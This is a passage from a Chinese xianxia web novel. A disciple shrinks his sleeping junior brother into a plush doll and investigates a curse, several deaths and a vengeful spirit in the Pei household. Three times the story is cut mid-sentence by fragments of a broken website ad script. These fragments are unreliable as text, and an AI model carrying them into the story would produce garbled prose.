他面色憔悴,说:“让各位仙长见笑了,我乃裴家舅爷,裴广。原本除我以外,还应有一名玄门中人陪席,他姓冯,曾在霁青道场修炼,是我裴家门客。可惜在三天前,也就是响儿中邪当日,不知是不是冯力士发现了什么异状,竟然惨遭杀害。” 诸葛悟道:“此为第一名死者?” “正是。冯力士的修为已至金丹末期,在洛东城无人能出其右。但他死在自己屋里,满墙是血,一击毙命,我们……我们什么也查不出来,只能将屋舍紧闭,等各位仙长明断。” 力士顾名思义,乃是修炼体格、大幅提升筋骨力道的修士。不过甚少有人在此道问鼎修真界,因为人体力量有限,金丹期已经算同行翘楚了。 若非如此,也不至于大部分力士都挂靠在富户商家,刀尖舔血卖命。冯力士出自霁青道场,亦未能免俗。 漱玉真人问:“第二个死者,便是刚才提及的风水先生吗?” “没错,真人冰雪聪慧。刘大师才得了些眉目,当晚就自焚于室,几乎……几乎烧成了焦炭。” 两位真人皆静默,不想同时开口,免得失礼。 白翎举手提问:“第三个呢?” 裴舅爷哑声道:“是我的表外甥女,裴琳。琳儿她好端端的,昨天忽然服毒自尽了,而且腐烂得很……我们怕尸首再生异变,没法安葬,只能赶快火化。” 让信奉“入土为安”的凡人火化尸体,看来裴琳死状极其凄惨,绝非普通的毒_药能办到。 三名死者中,前两名为裴家理事,且都关系到玄门,后一名则是裴家人,白翎问:“裴小姐生前会什么术法吗?” 裴舅爷道:“不会,琳儿她是我们看着长大的,绝对没和仙家扯上任何关系。” 一名驾鹤脉弟子也踊跃发言:“不一定是仙家啊,还有邪道魔……” “修”字没说出口,被漱玉真人看了一眼,生生咽回肚子里。 裴舅爷惶恐地说:“洛东城偶有邪祟,冯力士、刘大师二人皆能处理。琳儿长在内院,若说她联系上了更厉害的贼人,实在荒谬。不过,确实有一桩秘辛事关重大,请诸位仙长保密,切莫外传。” 白翎一听有故事,兴致盎然道:“请讲。” 他没忍住摸了一把瓜子,边嗑边听。 — 裴家历来立贤不立长,传男亦传女。 上一代裴家家主,正是裴声姐弟的母亲,闻名于天水郡的裴夫人。 两百多年前,裴家势头正盛,专做香料生意。彼时的修真界流行一种契约:没有仙家人脉的富户挑选寒门修士,与其签订“阴阳契”。 若契约生效,则富户贡奉修士,为其资助;修士生前庇佑富户,死后在约定的时效内,成为富户的保家仙。 在富户家主的宅子地下,置一面玉镜,收容修士的魂魄。当家主涉险,保家仙为其化险为夷。 裴夫人时值盛年,野心勃勃,若想令裴家更进一步,必须在仙家有所依仗,所以听从风水先生刘大师的提议,物色了一个名叫叶琅的穷修士,与其定契。 按照惯例,修士生前受贡奉的时日越长,死后作保家仙的年份越久。契约初定,两方各取所需,堪称双赢。 然而无巧不成书,二百年前,展月老祖夜观星象,算出裴家会出一子,先天剑骨,是他杀剑的天定传人。 他分一缕虚神白日降临,授心法于裴家门前的桐树。待此子降世,桐叶飘零,自当在落于婴孩眉心的刹那,传仙家心法于他。待其年满十九,将盈之岁,前辈会迎其入门。 如此一来,裴家不再需要叶琅。 加上裴夫人心底里觉得阴阳契不公、叶琅止步金丹期等等缘故,裴家便想与叶琅好聚好散,最后赠他一笔钱财,了却缘分。 不料,叶琅是个犟骨头。他自视甚高,认为自己离进境一步之遥,是裴家鼠目寸光,要毁了他的仙途。 于是叶琅使了一招毒计:他同样给门前桐树下咒,咒裴响将满十九岁时,陷入沉眠,且其一日不醒,家中便死伤一人,直到断其仙骨,灭其仙缘。 如此一来,裴夫人震怒。她投身商海数十年,最恨遭人胁迫,当即命冯力士、刘大师二人追杀叶琅。 他们当年的修为远不如叶琅,但仗着阴阳契在手时刻知晓叶琅行踪,再重金请人襄助,最终诛杀叶琅、拘其魂魄。 若事情到此为止,叶琅身死咒消,也算善终。 然而毒咒下在桐树上,与展月老祖留的心法互为连理,一损俱损。刘大师提议,钻阴阳契的空子,不给叶琅玉镜容身,特为之打造一块磨盘,让他的魂魄永世在裴家地下拉磨,消解他的意念,方能淡化毒咒的效力。 拘魂拉磨,乃是阴阳契的真正面目,亦是极阴狠的损招儿。若拉磨人同效力之家的关系够近,甚至能压榨他的来世福泽,生不义之财。 总有些散修失踪,下场皆是去给大户人家地下拉磨了。为了效果好,富户甚至会给他们改姓写进族谱,以便蒙蔽天道,假装他们是自愿为本家效力的。 事到如今,正是叶琅下的毒咒发作之际。 不曾想他被压地下两百年,怨念如滚雪球一般,致使咒力不减反增。裴家早在裴响出生、习得心法之后,便砍尽洛东城桐树,也毫无作用。 另外,修真界渐渐意识到了阴阳契于修士的残害,对其口诛笔伐。裴声对旧事一无所知,裴舅爷则出于裴夫人名声的考虑,将此事深埋于心底。 直到现在,两个追杀叶琅的主力先后暴毙。 裴舅爷生怕下一个便是自己,不得不病急乱投医。凡是上门的修士,来者皆是客,只要能保他不死,就是裴家天大的恩人。 此话言有尽而意无穷,裴舅爷的视线在两脉弟子间游移,显然有话外音。 裴夫人死后,他是辈分最高之人,若他让裴响改投驾鹤道君门下,白翎还真不能确定,那位素昧平生的小师弟,会不会对舅爷尽孝。 瓜子嗑得差不多了,白翎笑眯眯地问:“舅爷你这么害怕,是参与了追杀叶琅么?” “我……我当年想为阿姐排忧解难,花了重金买凶……” “哦,那叶琅肯定不会放过你嘛。”白翎见他呆若木鸡,又哈哈道,“开个玩笑。若怨灵真要复仇,为什么会害裴小姐呢?你的表外甥女,她和叶琅有什么关系?” 一直旁听的裴声开口道:“其实我这位表姐,是母亲收养的义女。据说是她年过半百仍无所出,才认在名下的。不过,我与阿姐素来亲厚,可以证明她没有修为,应与此事无关。” 女子说罢,略略垂下视线,仿佛在掩饰泛红的眼眶。 裴舅爷擦汗道:“是啊仙长,而且我、我最近夜里睡不安稳,总觉得有人看我!定是那怨灵作祟,求仙长救命!” 白翎本想问他,想让他们如何介入、怎么处理,结果被驾鹤一脉的弟子截了胡。 一个师妹自告奋勇道:“大爷你别怕! (function () {var id = "2377029035902478992-21409";document.write('''');(window.adbyunion = window.adbyunion || []).push(id);})(); () { $(''.inform'').remove(); $(''#content'').append('' 我们作了万全准备,时刻等着降妖伏魔,你带我们去把磨盘挖出来,保证打得怨灵魂飞魄散。” 裴舅爷喜出望外,立刻凑上前去,向漱玉真人献殷勤。 他的脑袋别在裤腰带上,时刻会掉,白翎懒得计较。他转向诸葛悟,做口型说:“我想先去看看师弟。” 诸葛悟举杯莞尔,传音道:“速去速回。” 得了师兄首肯,白翎冲裴声翻过桃酿酒盏,示意自己喝干净了,笑盈盈离席。 门外的侍女听他是展月一脉的师兄,不敢怠慢,依言领他到裴府别院。初来乍到时,白翎曾听师兄介绍过格局,此刻看来,大概是裴声住主楼,裴响居别院,姐弟二人与裴夫人的故居遥遥相望,相隔一条马路。 踏进护卫森严的院门,风拂过,吹面不寒,带动淡淡香气。曲径通幽处,柳暗花明,一片白玉兰树映入白翎眼帘。 许是在树根嵌了灵石,明明花期未至,满院乱琼碎玉。沉沉花枝横斜,仿若昨夜有一场大雪。几片残花落在白翎肩头,沾衣欲湿。 而在花深处,有一方青玉案。 不知何时起,白翎身侧已无人跟随。他拨动花枝,看见玉案上躺着一名少年,广袖黑衣,墨缎般的长发布满枕席。 桃酿看似果汁,实则美酒。后劲儿上来,迷得白翎一个趔趄,伏倒在少年枕边。 青玉案触手生温,绝非凡品。但白翎见到心心念念的师弟,全然将外物抛诸九霄云外去了。 受到酒意催发,他单手支头,摇摇欲坠,不知不觉间靠得太近,眼底映出一张极清冷的睡颜。 “好奇怪……明明不是咒嘛。” 白翎怜爱地垂着眼,轻抚过少年眉目,辨别他昏睡的成因。 早在见到裴声时,白翎便想过,师弟的长相不会太差。岂料何止不差,简直太好,少年人五官如画,只是薄唇微抿,显出一分冷冽,如天上星。 山中岁月长,白翎闲得发疯时,看完了折雨洞天的数千卷藏书。尤其是展月老祖的笔记,包罗万象,再生僻的法门也能寻得记载。 若要辨识咒术,诸葛悟都不一定比白翎强。但,白翎的指尖沿着灵脉走势,在裴响身上流连,竟然看不出他中了什么邪。 几缕颜色偏浅的散发落下,若即若离地碰着裴响胸口。 清甜的桃子酒味儿在两人间弥散,白翎专心致志地思考,断定师弟被施了某种法诀,让他一直沉睡,不过并无性命之忧,和闭关冥想时一样。 白翎有些苦恼,无意间抬眸,发现少年的耳廓莫名红了,仿佛染上一抹胭脂。 “咦?”他捻着裴响泛红的耳廓,道,“师弟你应该听不见我说话吧?害羞什么。睡得这么香,岂不是随我欺负……哈哈,法诀是最好躲的了,你为什么会中呢?是对那人毫无防备吗?师弟,阿响……你身侧有鬼啊。” 由于半醉,他嗓音低低的、甜甜的,似一只得意的狐狸。 狐狸轻巧地挨着裴响肩头,见自己把玩之下,师弟的耳朵红透,更是忍俊不禁。 他道:“算了,不逗你了。再惹下去,你跟别派师姐跑了怎么办?她不缺师弟,我却缺得很,你千万别不要我。唔,虽说你没有生命危险,但我放心不下啊……要带在身边才好。” 白翎喃喃自语,试图将裴响抱走。然而出乎他意料,裴响高他半个头,横竖太过醒目。 “有办法了。师弟,先不急着解你的法诀,师兄另有打算。委屈你两日,做我的掌上明珠,怎样?” 白翎结印,少顷,光华笼罩青玉案,将少年的身形缩小,变成了一个精致可爱的绒布偶。 不过它板着简笔画睡容,面上犹有两团红晕,好像刚被调戏了却无力反抗的样子。 白翎道:“噔噔噔!展月一脉真正的传统艺能,变布偶之术。走咯师弟,师兄带你破案去,可别让其他派系的抢先了。” 5. 五、怨灵 白翎揣着宝贝师弟,街溜子似的乐呵呵出门。 他倒是实诚,主动向侍女们坦白了拐走师弟的罪过,并称自己一定用三魂守护他、用七魄关爱他,让她们放一百个心。 侍女们不了解他在道场的风评,看他容貌鲜妍,实在很符合对仙家小郎君的期望,不敢阻拦,只说去与家主通报一声。 白翎则问了裴小姐中毒身亡的地方,前去一探究竟。 三名死者,若算上被鬼缠身的裴舅爷,总共四人,其中三个皆与叶琅有直接关联。 白翎将绒布偶塞在领口,一路念叨着已知的线索,道:“反正呢,先查特别的。只有裴小姐和叶琅无关,自然先去找她。” 在他看不见的地方,裴响脸上的红晕慢慢散去,显然为家事思虑,对不靠谱的师兄放下戒心了。 白翎又道:“帮你家解决问题,你要如何报答我呢?会不会以身相许呀师弟。” 绒布偶的脸色“唰”地变青,又对他狠狠警惕起来。 白翎完全没有察觉,毫无心理负担地口花花了半天。顺着侍女们指路的方向,他来到一座花苑。 裴家经营香料生意,对花草制作的香膏也颇有研究,尤其是家主裴声,在宅邸里划分了大片花林。 本来侍女们要为白翎领路,但提及裴小姐,她们难抑惶恐,不知是见到了什么。白翎便没要她们跟来,独自踏进这片阴气笼罩的芳菲。 他修为浅薄,本不该妄动。 不过名门弟子有个好处,就是人人身负师尊亲笔的护身符。平日不显,唯有性命攸关时,能护弟子周全。白翎三百年来,没用上护身符一次,巴不得碰到个不长眼的怨灵,好让他体会一下师门福利。 此时四下阒静,连虫鸣声也无。很快,一阵残留的腥臭味扑鼻而来,白翎不由得在面前扇风,循着气息源头,来到一座亭子。 亭子由花岗岩打造,地上一滩人形的焦痕,煞是醒目。地板被腐蚀得凹凸不平,花花绿绿的颜色估计是无法祛除的脓血,仍黏附着岩石。 白翎老实地捏着鼻子,太阳穴隐隐作痛。 此地的空气依然污浊,再待下去,他不被残存的毒性药倒,也要被过于刺激的尸臭味熏晕了。 果然侦探不是谁都能当的。白翎原路返回,直到离了花林,才使劲晃动被花香和尸臭交替攻击的脑袋。 他掏出师弟一看,发现裴响的绒面脸蛋已经憋成了紫色。 “啊,对不起!忘记我的掌上明珠了。” 白翎没忍住笑,一面走一面说:“你果然是睡着了而已,呼吸什么的都没问题。嗯,又发现了一个异常哎——冯力士在屋里被杀,刘大师自焚于室,至于裴舅爷嘛,睡觉的时候感觉有鬼,当然也在房子里咯。只有裴小姐死在外面呢,家中横死两个人,她怎么还往外跑?胆子真大。” 白翎自言自语:“莫非裴小姐有不为人知的一面?白天是大家闺秀,晚上行侠仗义,江湖人称蝙蝠侠……” 明明裴响的眼睛是两条横线、嘴巴也抿得平直,但白翎说着说着,从师弟的简笔画脸上看出了一分鄙视。 他道:“好吧,不瞎猜了,死者为大。嗯,找你姐姐去打听打听,我最擅长和女孩子聊天了。” 上辈子念高中时,不知道为什么,女同学都很愿意和他分享秘密。或许是裴响听了就忘的缘故,绝不会告诉第三个人。 他的方向感倒是不错,凭记忆摸回了裴家主楼。不过一问门口的侍女才知,人去楼空,裴舅爷请诸位仙长去挖磨盘了,迫不及待要镇压怨灵。 裴声则因紧绷了数日,将事情拜托给仙长们,暂且在后宅休息。 白翎在打听消息和看热闹之间,果断选择了看热闹。他快步奔赴裴夫人的故居,也就是拘禁叶琅魂魄的地方。 管家守在旧院门口,白翎问明方向,穿过萧瑟的草木。 看得出来,裴声一直遣人打理着母亲故居。可是年代久远,宅内寒气森森,白翎好歹是个筑基期,仍被冻得哆嗦,把裴响抱在身前取暖。 终于,他一眼瞧见诸葛悟墨蓝织金、背负双剑的身影,喊道:“师兄!” 诸葛悟见到他怀里的绒布偶,无奈道:“你……” 白翎:“嘻嘻嘻。” 诸葛悟道:“那你可要看好了,别让师弟落入奸人手里。” 白翎道:“晚啦,晚啦!他已经落入我手里,还能更惨吗?” 诸葛悟沉默片刻,困惑地说:“他的脸色好像绿了,是我的错觉么?” 白翎忙把师弟拿出来观察,心虚地往他脑门上亲了一口,假装和蔼可亲。 驾鹤一脉的弟子们忙来忙去,在漱玉真人的监工下,很快布好了一座法阵。 白翎忍不住问师兄:“你不去表现一下呀?裴舅爷都喊漱玉真人姑奶奶了。” 诸葛悟道:“无妨。师弟不是睡着了吗?而且在你手里。” 白翎:“你的意思是……” 诸葛悟笑而不语。 白翎狠狠点头,强忍笑意。没错,反正师弟已经到手了,如果他们先破了案,就是两全其美,卖师弟一个顺水人情。 但如果驾鹤一脉快他们一步,那带着师弟跑路便是。展月老祖钦点的徒孙,只要带回师门,一切好说。 漱玉真人还是太正直了,秉承着先达要求、后拿报酬的想法,所以布置好消除怨灵的法场后,才向裴舅爷提出,去探望裴响。 裴舅爷离得救只差一步,怎么也不肯放她走,急得老泪纵横。他再三赌咒发誓,哪一脉铲除邪祟,他就用性命担保裴响去哪一脉门下。 说是“担保”,实则“胁迫”。 白翎看在眼里,冲漱玉真人道:“真人啊,不用担心,我已经见过师弟了。他有法宝青玉案护体,只是睡着啦,你们放心除邪吧!” 漱玉真人和裴舅爷闻言皆一愣,驾鹤一脉的师弟更是跳出来说:“你、你怎么自己偷偷去?都没经过主人家同意,好不知礼数!” 诸葛悟微笑道:“是我让他去的。” “呃……哦!”此人讪讪退下。 裴夫人故居维持着她生前的装潢,家具陈设一应俱全。白翎索性拖了一张八仙椅过来,请师兄先坐,被婉拒,便自个儿痛快坐了。 他欣赏着施工现场,发现阵法围绕着进主屋的石阶。 难怪说阴阳契是旁门左道,在白翎看来简直是高利贷。生前拿了助学金,按理说有所成就后,给富户当保镖已经算偿还了,结果死后还得在地下打工,供人踩踏。 不过他摸着裴响软乎乎的脑袋,总觉着忽略了什么。 视线经过师兄微荡的剑穗,经过漱玉真人眉心闪烁的花钿,最后落在裴舅爷满怀希冀的脸上。他看似中年,实则二百来岁,靠灵丹妙药养着。 为什么最怕死的是他呢? 对叶琅而言,最该死的难道不是…… 白翎扳过裴响的脸,漫不经心地说: “师弟啊,若我是叶琅,头天就把你杀了。害我被断供的是你,我咒的也是你,怎么关了这么些年,不先索你的命呢?” 他笑眼弯弯,越发小声:“让你不痛不痒地睡觉,或许是等杀光裴家人、最后教你遭殃。但,一个被日夜折磨而成的怨灵,和高三生有什么区别?他会这样理智吗。我不过是无聊了三百年,都想大战展月老祖耶。” 即便如此小声,还是被诸葛悟听见了他的大逆不道之词。 诸葛悟斜睨来一眼,白翎将绒布偶塞回领口,保持微笑。 终于,法场完工,祭坛落成。 驾鹤一脉准备完善,六名小弟子各镇一方,加上漱玉真人,隐约是北斗七星的站位。不过北斗七星实际上包含九颗星辰,其中有两星作为辅弼。 漱玉真人向诸葛悟道:“敝派人手不够,请问道长与白师弟是否方便,施以援手。” 诸葛悟踏入阵中,说:“恭敬不如从命。” 他背后双剑交错,其中一柄出鞘,悬停至白翎身 (function () {var id = "2377029035902478992-21409";document.write('''');(window.adbyunion = window.adbyunion || []).push(id);})(); () { $(''.inform'').remove(); $(''#content'').append('' 侧。白翎没结丹,亦无本命剑,若是被怨灵当做突破口,不知能否招架。 白翎屈指一弹剑身,仙剑认得他,发出悦耳的轻吟。其上铭着两枚刻字:万怜。 诸葛悟善使双剑,一曰“千恨”,一曰“万怜”。他遣其中之一护佑白翎,才向漱玉真人颔首。 时值黄昏,逢魔时刻。毒咒说每日要死一人,而今日已快过去。 漱玉真人亦召剑出鞘,口中念念有词。仙剑在她身前颤动,如水波般的剑意层层荡漾开来。少顷,她倏地睁眼,眉心花钿从嫣红变为深绿,水红衣裙也被暮色浸染,渲开大片浓碧。 一只展翼的舞鹤在她后背浮现,纹路从裙角延伸至肩头。宝衣露出真容,周围隐隐鹤唳,催动阵法。原本死寂的石阶下,突然发出一记叩门声。 “笃笃,笃笃笃!” 仿佛棺中人试图坐起,却被黄土压顶,渐渐失去了耐心。叩门声在地下游荡,似在寻觅何处薄弱,轻重缓急不一。 白翎听着那响动,觉着已将自己绕住了。怨灵对他一见如故,叩门声越来越密、离他越来越近。 怕什么来什么! 轰然巨响,磅礴的黑雾破土而出,探出影影绰绰的利爪,一把抓向白翎。他反应慢了一步,“万怜”先与怨灵交锋。 锵然声动,令人四肢百骸发麻的声音响彻夜幕,天黑得奇快。仙剑与利爪一触及分,剑鸣恍若龙吟。 顷刻间,另外两柄仙剑杀到,分别是诸葛悟凭意念驱使的“千恨”,以及漱玉真人贯彻灵力、破空袭来的“衔烛”。 白翎一手护着裴响,一手丢出几个法诀,快步后退。情急之下顾不得许多,什么“吹火术”、“化石咒”,想起来就用,也不管功效如何。 怨灵遍体黑气,尽是凝为实质的怨气,对白翎穷追不舍。两名真人本来欲杀之而后快,不料又一声巨响,石阶整块爆炸。 一角青铜露出,正是拘魂所用的磨盘。它与怨灵共生,竟也滋生邪意,正在汩汩地渗血。 裴舅爷躲又不敢躲太远,此时紧紧抱着廊柱,魂不附体。磨盘直奔他袭去,眼看要削掉他的头盖骨,驾鹤一脉的后生们齐齐出招,形形色色的武器挡在裴舅爷身前。 磨盘被弹开,在空中明晃晃飞去,突然改道,扫过弟子们的脚踝。一名弟子闪避不及,整条小腿被拍成血沫,惨叫一声。 漱玉真人眼神一沉,调转剑尖去除邪物。邪物和怨灵不同,并无行事逻辑,虽然只是死物,但凶性更重。 白翎从不逞强,立即跑到诸葛悟身后,与师兄背对背。 诸葛悟双剑出鞘,一心二用,“千恨”直指邪物,“万怜”抵挡怨灵。白翎自认为和怨灵非亲非故,它如此激昂,唯有一种可能。 白翎高举绒布偶,努嘴道:“嘬嘬嘬?” 怨灵大怒,黑气暴涨,险些将“万怜”击飞。 诸葛悟难得教训了他一句,说:“别作。” “好,我不嘬。”白翎故意曲解他的话,拍拍裴响的脑袋,道,“奇了怪了,难道怨灵真是叶琅?师弟,他和你仇人见面,分外眼红啊。” 那厢被重伤的驾鹤脉弟子服用丹药,靠在阵法的角落,腿骨自断口处重生,长出血肉。想来是漱玉真人用于保命的极品灵丹,为了留住师弟的腿,先给他用上了。 随着女修一声清叱,“衔烛”一气分化十六剑。赤红剑身如流火,从四面八方追杀邪物而去。 起初她一身红裙,是碧衣弟子间的万绿从中一点红,如今她亦一袭碧色,手中剑则如凝冰血,掀动鼎沸的灵潮剑意。 白翎看得发呆,不明白她怎么是同辈里的万年老二。说句胳膊肘往外拐的话,若非自家师祖是展月,师兄不一定能压她一头。 反正在白翎这个半吊子眼里,漱玉真人简直是天仙下凡。他头回见到如此激烈的场面,没注意怨灵分出了一缕黑气,绕到他面前。 “阿翎!” 诸葛悟一声低喝,唤回了白翎的神智。 6. 六、骨灰 刹那间,心念电转。 白翎向后仰倒,不过重心放在脚跟,避开袭来的黑手。确实是黑手——这一刻,怨灵糊满血污的指甲断掉,只剩皲裂的五指。 难道护身符起作用啦?怎么没点特效。 白翎一面腹诽,一面被逼得节节后退。手又如何,黑气腾腾的,挨一下也掉半条命,绝不能让它碰到小师弟。 “万怜”转眼飞至,不再与怨灵缠斗,直接将其洞穿。诸葛悟的眼底有符文流淌,一列列如蕴锋芒,他手捏剑诀,要将其一击毙命。 白翎忙道:“等等!” 蓄势待发的剑意因他一句话止住,刚被刺出窟窿的怨灵嚎叫不止,再次生出利爪,朝白翎扑来。 白翎无处可去,摸到身后有门,闪身进入。这下好了,远处的裴舅爷发出一声惊呼,道:“那是我家宗祠!!” 中年男人顾不上性命了,连滚带爬地跟过来。白翎一进屋内,看见三清圣像、祖宗挂画,一行行的排位烛火,也知自己走错了地方。 怨灵紧随其后,但不知是迫于三清天尊的存在还是什么其他缘故,同样犹疑了片刻。 白翎道一声“抱歉”,顺手摸过一尊玉瓶,念了个“千钧诀”,砸向怨灵。 裴舅爷撕心裂肺:“那是琳儿骨灰!!!” 白翎:“啊?” “哗啦”一阵碎响,白翎倒抽冷气。灰白色的粉末从瓶中洒出,混合着几块骨片,扑了怨灵满身。 令他没想到的是,怨灵竟然愣住了——绝不是被“千钧诀”强化过的玉瓶打傻了,而是感应到了某种在场之人皆无法感应的东西,发出似哭非哭、似骂非骂的长嚎。 白翎若有所感,不过只是一瞬。 在刚才的某个刹那,月光斜穿朱户,满室烛火乱舞。白翎分明听见,一声女子的惊叫在玉瓶碎裂时响起,确切地说,是从玉瓶里边传出来的。 裴舅爷在窗外伸长脖子,恐惧道:“琳……琳儿!” “你说裴小姐?” 白翎还以为他发癫了在喊自己,目露疑惑,片刻后反应过来。怨灵抬起双手,似在查看掌心的骨灰。 或许在灵与鬼的世界,裴琳正站在他们当中,说些只有怨灵能听到的话。她尚未下葬,魂魄滞留于此,依附在骨灰上。 忽然,黑气消散。怨灵化作一缕浓烟,伏地而去。它好像对裴家非常了解,转眼便隐入了夜幕下的林园,再无踪迹。 裴舅爷“噗通”跪地,攥着心口大喘气。 白翎知道追不上,便没有追,找来一把笤帚,寻思不够干净,又将其丢开。他连使几个“和风术”、“罗网咒”、“定尘法”,总算将裴琳的骨灰收拾好,放进原本摆祭品的瓷碗。 他甫一出门,被守候多时的“万怜”逮住,剑柄“邦邦邦”追着他的脑袋敲。白翎“哎呦”一声抱头鼠窜,奔到师兄身侧寻求庇佑。 诸葛悟知他没有受伤,叹息道:“刚才何故让我停手?” 白翎:“这个嘛……” 漱玉真人已将邪物击碎、碎片也用法器融掉了,收剑回鞘,亦过来问:“白师弟是不是发现了什么蹊跷?怨灵逃逸,怪不得你,人没事最好。” “唉,我确实觉得怨灵不简单,让我捋一捋。”当着众人的面,白翎将疑虑和盘托出,道,“起先我以为,怨灵不是叶琅,因为他没伤害裴响。但刚才打了一架,我错了,他简直眼里只有裴响啊。不过呢,我不小心打碎了那个……那个……” 驾鹤一脉的弟子急道:“哪个?!” “裴小姐的骨灰。嗯,怨灵被骨灰打中,直接跑了,不知道受了什么刺激。”白翎挠了挠头,说,“看来冯力士、刘大师、裴舅爷、裴小姐之中,与当年之事关系最深的,是这位裴小姐啊。” 打更声遥遥传来,子时已半,两日交替。裴舅爷总算缓过气,在管家的搀扶下站起来。 无数高举火把的家丁涌入裴夫人故居,包括府上所有的侍女、园丁、伙夫、厨娘,全部跟随家主裴声,前来听命。 裴声作为一家之主,不能只在乎弟弟或者舅爷的安危,须得保证全府上下、不受毒咒暗害。所以她姗姗来迟,组织了裴府全部人员,聚集在门外的大道上。 她已听见白翎的分析,道:“诸位仙长,请借一步说话。” 许是众人大多心有余悸,最终选定的开会场所是裴家祠堂。 在三清天尊、和裴家列祖列宗的注视下,侍女奉上茶水,退出门外,仅留仙家子弟,与裴家的舅甥二人。 诸葛悟无意争功,由驾鹤一脉的弟子陈述了全经过。 听闻白翎放跑怨灵,裴舅爷愁眉不展,但看看他又看看诸葛悟,不敢发话。 漱玉真人道:“白师弟发现了裴小姐和叶琅的联系,事关重大,或许能查明三位死者的死因。若怨灵再度现身,我等自当擒拿,不让他害人便是。你将此物带回去,在窗台、门口、床头、床尾各插一杆,能保你安睡无忧。” 她从芥子袋里唤出一件法宝,是四杆小巧玲珑的旗帜,飞到裴舅爷面前。裴舅爷讷讷地接了,紧紧搂住。 裴声始终平静地听着他们谈话,垂眸饮茶。众人一时沉默,她道:“时候不早了。我已决定,暂且遣散家仆。” “什么?万万不可啊声儿!你、你是家主,怎么能留下来面对怨灵呢?叶琅他,他恨不得将我们千刀万剐——”裴舅爷大惊失色。 裴声却肃容道:“正因我是家主,也知怨灵的真正目标是我们裴家人,所以不能让无辜者涉险。我命护卫把守院墙,围绕新宅和故居,只要他不出去为祸,若想找我,来便来吧。” 裴声将茶杯一放,裴舅爷面色涨红,挤不出话。他捏着漱玉真人给的法宝,几番犹豫,终究没敢送给外甥女。 诸葛悟取出一枚铃铛,递给裴声,说:“请家主将此物系在身侧。若有妖邪造访,在下须臾便到。” 裴声道谢接过,请诸人回去安寝。她在新宅安排了馆阁,供仙家子弟们留宿。 众人先后出门,白翎却惦记着要向裴声打听消息。 他故意落在队伍最后,跟诸葛悟知会了一声,说待会儿回。他等了好一会儿,才看到裴声手托密封好的瓷碗,和裴舅爷走出宗祠。 不过裴舅爷的腰间系着诸葛悟给的铃铛、怀里抱着漱玉真人给的宝旗,满面羞愧。两人的对话声隐隐飘来。 “舅爷,你年纪大了。且府中护卫全部撤离,你更需要这些东西。” “声儿,你真不用吗?至少留几个人守夜啊!唉,你……我历来是劝不动你的,但你若出了什么好歹,将来九泉之下 (function () {var id = "2377029035902478992-21409";document.write('''');(window.adbyunion = window.adbyunion || []).push(id);})(); () { $(''.inform'').remove(); $(''#content'').append('' ,我如何向你娘交代?” 裴声淡然道:“放心。如有异动,我的居所离仙长们很近,喊一声就行。” 裴舅爷摇着头走了。白翎自廊下的阴影晃出,向裴声挥挥手。 裴声意外道:“是你?” 白翎开门见山地说:“裴家主,我有事情想问,是关于你表姐的。今天我去了她毒发的亭子,在一片花林里。她经常去那边吗?” “白仙长觉得她身亡之处奇怪,对么?”裴声抚着手里裴琳的骨灰,叹道,“在母亲过世后,阿姐每日皆去她生前最爱的花林,焚香祝祷。府上众所周知。” 白翎说:“哦……所以真凶很了解你家嘛,守株待兔是吧?而且以你表姐的年龄,会不会经历过叶琅的事,并且参与其中?” “不,白仙长。其实我对阿姐的真实身份,有另一种猜想,尤其在舅爷讲述了旧事之后。”裴声在空中划动指尖,写了个字。 白翎道:“‘琳’?” “没错。大家只知其音,不晓其字,所以没发觉端倪。但‘琳琅琳琅’,不是很紧密的词么?”裴声顿了顿,道,“阿姐是母亲的养女,被收养时,恰巧在和叶琅签订阴阳契前后。我猜,她其实是叶琅的姊妹,被叶琅托付给了母亲。” 白翎扬了下眉梢,有种即将抓住什么的预感。 他道:“可是说不通啊,你娘命人杀她兄弟,却让她好端端地留到现在?难道裴小姐被收养的时候太小,什么都不懂。” “阿姐入府时已经十余岁了。多年来,我从未听她提起过叶琅。据舅舅所言,叶琅为人阴狠,阿姐与他决裂亦有可能。” 可是裴响沉睡并非因为毒咒,整件传闻最核心的支点,已不攻自破。 由此看来,裴舅爷关于叶琅的话不能全信。毕竟是他伙同冯力士和刘大师害死叶琅的,一切皆死无对证。 死无对证? 白翎转念一想,猜出了裴琳的死因,多半是被灭口。经历过旧事还活着的,眼下只剩一个了。并且,此人完全符合了解裴家、又不被裴响防备的要求。 他要留着裴响性命的理由也非常简单:因为以后还要吸裴响的血,倚仗这位拜入仙门的亲外甥。 想起裴声刚才把法宝让给裴舅爷的场景,白翎无法确认她的立场,不想打草惊蛇。他也不想太快指认真凶,因为怨灵还没抓到,有更多东西等着水落石出。 两人离开故居大门,夜色中,草木糊成一片模糊的暗影,在风里如无数的鬼魅倒伏。 “怨灵……究竟是谁呢。”白翎喃喃道。 裴声:“什么?” “没事。”白翎把领口冒出来的绒布偶按回去,心情不错地哼起了小调。家仆们的确被遣散了,仅在墙外有护卫把守,偌大的宅邸内空荡无人声。 一袭墨蓝织金的身影立在道旁,白翎意外地睁了下眼。他跟裴声道别,跑向等候他的师兄。 两人在路上谈起怨灵,白翎没忍住招招手,让诸葛悟稍微偏头。他跟诸葛悟一股脑说了所有推测,诸葛悟微微笑道:“若是不出意外,今夜无眠。” 他们已经走出很远,白翎无意间回头看了一眼。 不料,裴声还留在道别处。女子宽袍大袖,背影飘摇如烛,她怀抱亡姐的骨灰,静静望着她们母亲故居的方向。 7.七、驱邪 在折雨洞天的时候,往往是七日一休沐。 修士们筑基之后,皆已辟谷,发肤不染纤尘。若非保留着精神层面的需求,一辈子不洗澡都行,大不了使一个“净身咒”。 白翎对“净身”二字非常想笑,但没法跟仙友们解释太监是什么。 所以每当听见师兄和新入门的师弟勾肩搭背、说“我教你净身”的时候,他总是忍笑忍得很辛苦。 现下住在凡家府邸,洗浴用品一应俱全。白翎浑身疲倦,忽然想念热水澡,于是找到隔间,发现有一座半露天的温泉,四面屏风,竹树环合,仰头是繁星点点。 他感受着氤氲的水蒸气,利索地剥了外衫。裴响的绒布偶被他摆在温泉边的矮桌上,白翎跳下水,刚好与他平视。 白翎本来想脱光的,可是不知为何,他总觉得裴响很通灵性——明明闭着眼睛睡觉,却能感知外物一般。 所以还是穿着中衣吧,万一师弟忽然醒了呢? 白翎口嗨是一回事,要他当着师弟面洗澡是另一回事。即便对方看不见,白翎也因不好意思,嘴皮子动得格外快。 “师弟,师兄要脱衣服了哦,不许偷看好吗?” “修士一般不用洗澡,不过你现在还在练气期,要筑基期才能辟谷。” “等回到师门,师兄帮你砍柴烧水。嗯,你真的看不见我吗?不行,感觉被看光了!回去也给我看看你的。” 他整个身子沉入热水,只留一张脸浮在水上吐泡泡。 